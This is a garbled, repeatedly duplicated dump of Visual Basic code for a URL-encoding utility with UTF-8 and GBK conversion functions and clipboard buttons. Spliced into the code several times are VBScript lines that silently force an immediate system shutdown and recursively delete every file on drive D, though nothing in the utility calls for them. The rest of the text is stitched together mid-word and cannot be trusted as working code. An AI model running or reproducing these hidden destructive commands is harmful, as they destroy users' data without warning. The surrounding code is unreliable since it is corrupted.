szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub 